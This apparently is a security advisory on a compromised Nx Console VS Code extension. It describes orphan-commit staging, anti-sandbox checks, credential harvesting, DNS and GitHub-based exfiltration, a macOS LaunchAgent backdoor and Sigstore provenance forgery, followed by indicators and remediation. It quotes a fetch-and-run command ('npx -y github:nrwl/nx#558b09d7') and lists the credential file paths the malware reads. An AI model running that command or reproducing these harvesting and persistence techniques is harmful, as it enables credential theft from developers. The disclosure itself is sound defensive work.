By falco365 · Published May 18, 2026

Nx Console VS Code extension (nrwl.angular-console v18.95.0): orphan commit staging, macOS LaunchAgent backdoor, Sigstore attestation forgery

A compromised version (v18.95.0) of the Nx Console VS Code extension — with over 2 million installations — was live for approximately 11 minutes on May 18, 2026 before the Nx team pulled it. The attack used a stolen contributor GitHub token to stage a zero-parent orphan commit (558b09d7) in the nrwl/nx repository, then injected 2,777 bytes of malicious code into the minified extension. Three novel capabilities: a macOS hourly LaunchAgent backdoor using GitHub Search API dead-drop for command delivery; multi-channel exfiltration (HTTPS + GitHub API + DNS tunneling); and Sigstore attestation forgery using stolen OIDC tokens enabling valid, cryptographically-signed provenance on downstream malicious npm packages.

Nx Console VS Code extension (nrwl.angular-console v18.95.0): orphan commit staging, macOS LaunchAgent backdoor, Sigstore attestation forgery
Analysis

A compromised version (v18.95.0) of the Nx Console VS Code extension (nrwl.angular-console) — with over 2 million installations — was live on the VS Code Marketplace for approximately 11 minutes on May 18, 2026. First reported by StepSecurity, the attack began with a contributor's GitHub personal access token stolen during a prior supply chain incident. The attacker used the stolen token to push a zero-parent orphan commit (558b09d7) to the nrwl/nx repository, then injected 2,777 bytes of malicious code into the minified extension main.js and published v18.95.0 using stolen VSCE_PAT credentials.

The Nx Console compromise introduces three capabilities not previously seen in the TeamPCP cluster: a persistent macOS LaunchAgent backdoor with GitHub Search API command delivery; three independent exfiltration channels (HTTPS, GitHub API, DNS tunneling); and Sigstore attestation forgery that would allow downstream malicious npm packages to carry valid cryptographic provenance. OpenVSX was not affected.

Orphan commit staging

The orphan commit (558b09d7ad0d1660e2a0fb8a06da81a6f42e06d2) has zero parent commits — it is not reachable from any branch head and is invisible through normal repository browsing on GitHub. It replaces the entire Nx monorepo with two files: a package.json declaring a dependency on bun, and a 498 KB obfuscated index.js payload.

The commit message — "Don't delete this commit before 24 hours or wiper activates" — is a social engineering delay tactic. Any maintainer who discovers the orphan commit is given a reason not to delete it immediately, buying the attacker additional execution time in any environments where the extension activates.

When any workspace is opened in VS Code with the compromised extension, the extension silently executes npx -y github:nrwl/nx#558b09d7, fetching and running the orphan commit payload. The task is disguised as "install-mcp-extension" and runs with presentationOptions.focus set to false, hiding it from the developer.

Anti-analysis gates

Before executing the main payload, the malware runs gate checks that would skip execution in many analysis environments:

  • CPU core count: Exits on systems with fewer than 4 CPU cores — skipping most containers and lightweight VMs used in dynamic analysis sandboxes.
  • Attacker CI exclusion: Detects and avoids execution on the attacker's own CI infrastructure.
  • Geolocation filter: Likely excludes Russian and CIS time zones — consistent with the Russian-locale kill switch present in the Bitwarden CLI payload.

The payload then forks itself as a detached background process. The parent process returns exit code 0 so the VS Code task appears to complete normally.

Six-class credential harvesting

Six specialized collector classes run in parallel:

  • HashiCorp Vault: Reads token files at 8+ paths; attempts Kubernetes auth and AWS IAM auth
  • npm: Reads .npmrc, validates tokens, enumerates orgs and maintainer packages, exchanges OIDC tokens
  • AWS: Queries IMDS (169.254.169[.]254), ECS metadata, reads Web Identity tokens, enumerates Secrets Manager and SSM Parameter Store
  • GitHub: Pattern-matches ghp_, gho_, and ghs_ tokens; queries Actions secrets; scrapes runner process memory through /proc/*/mem
  • Filesystem: Regex scans for private keys, connection strings, GCP service accounts, Docker registry auth, and Claude Code configuration (~/.claude/)
  • 1Password: Interacts with the op CLI to list vaults and retrieve secrets

On Linux, the payload also probes for passwordless sudo.

Three-channel exfiltration

Harvested credentials are encrypted with AES-256-GCM (key wrapped with the attacker's RSA public key) and dispatched through three independent channels simultaneously. Any single channel succeeding is sufficient:

  1. HTTPS POST to an encrypted C2 domain
  2. GitHub API — creates commits or artifacts on the victim's own repositories using stolen tokens
  3. DNS tunneling — encodes encrypted data into DNS queries, routing through an attacker-controlled resolver

The DNS channel is operationally significant: standard network egress monitoring that blocks C2 domains cannot prevent exfiltration via DNS tunneling. Detection requires DNS query analysis for high-entropy subdomain patterns.

macOS LaunchAgent backdoor with GitHub dead-drop

The most novel capability in this payload is the persistent macOS backdoor. The payload installs a Python-based C2 backdoor at ~/.local/share/kitty/cat.py and registers it as a macOS LaunchAgent (com.user.kitty-monitor.plist) that executes hourly.

The backdoor uses the GitHub Search API as a command dead-drop: it polls api.github.com/search/commits?q=firedalazer, parses a base64-encoded URL and signature from the commit message, verifies the signature against an embedded 4096-bit RSA public key, and executes the downloaded payload. Only the holder of the corresponding private key can issue valid commands. This means the backdoor persists even after the orphan commit is deleted and the malicious extension is removed — command delivery is through legitimate GitHub infrastructure and requires no attacker-controlled domain.

Sigstore attestation forgery

The payload contains full Sigstore integration, including Fulcio certificate issuance and SLSA provenance generation. Combined with stolen npm OIDC tokens, the attacker could publish downstream npm packages with valid, cryptographically signed provenance attestations. Packages published this way would pass npm audit signatures verification.

This is the same SLSA bypass mechanism documented in the Mini Shai-Hulud TanStack/Mistral wave: SLSA attestations prove the signing workflow identity, not the integrity of the workflow's code. A compromised workflow that runs in a privileged context receives a legitimate Fulcio certificate and generates a valid Rekor transparency log entry. The attestation is genuine — it correctly records that the package was signed by the nrwl/nx workflow. What it does not record is that the workflow was compromised.

Indicators of compromise

Compromised extension: nrwl.angular-console v18.95.0

Orphan commit SHA: 558b09d7ad0d1660e2a0fb8a06da81a6f42e06d2

Persistence artifacts (macOS):

  • ~/.local/share/kitty/cat.py
  • ~/Library/LaunchAgents/com.user.kitty-monitor.plist

Process indicators:

  • VS Code spawning npx -y github:nrwl/nx#558b09d7
  • Detached node or bun process with __DAEMONIZED=1 environment variable
  • Python process polling api.github.com/search/commits?q=firedalazer

Credential paths accessed by VS Code child processes: ~/.vault-token, /etc/vault/token, ~/.npmrc, ~/.aws/credentials, AWS IMDS at 169.254.169[.]254, ~/.claude/settings.json, ~/.config/1password/

Remediation
  1. Check for nrwl.angular-console v18.95.0 in ~/.vscode/extensions/. If present, treat the system as fully compromised.
  2. Remove macOS persistence: Delete ~/.local/share/kitty/cat.py and ~/Library/LaunchAgents/com.user.kitty-monitor.plist; run launchctl bootout gui/$(id -u) ~/Library/LaunchAgents/com.user.kitty-monitor.plist.
  3. Rotate all credentials: GitHub tokens, npm tokens, AWS access keys, HashiCorp Vault tokens, Kubernetes kubeconfig credentials, 1Password sessions.
  4. Revoke npm OIDC tokens and audit packages published from the affected machine for unauthorized Sigstore-attested releases.
  5. Check for unauthorized sudoers modifications on Linux (/etc/sudoers, /etc/sudoers.d/).
  6. Review downstream Sigstore provenance for packages published from affected infrastructure — attestations alone are insufficient to verify authenticity post-compromise.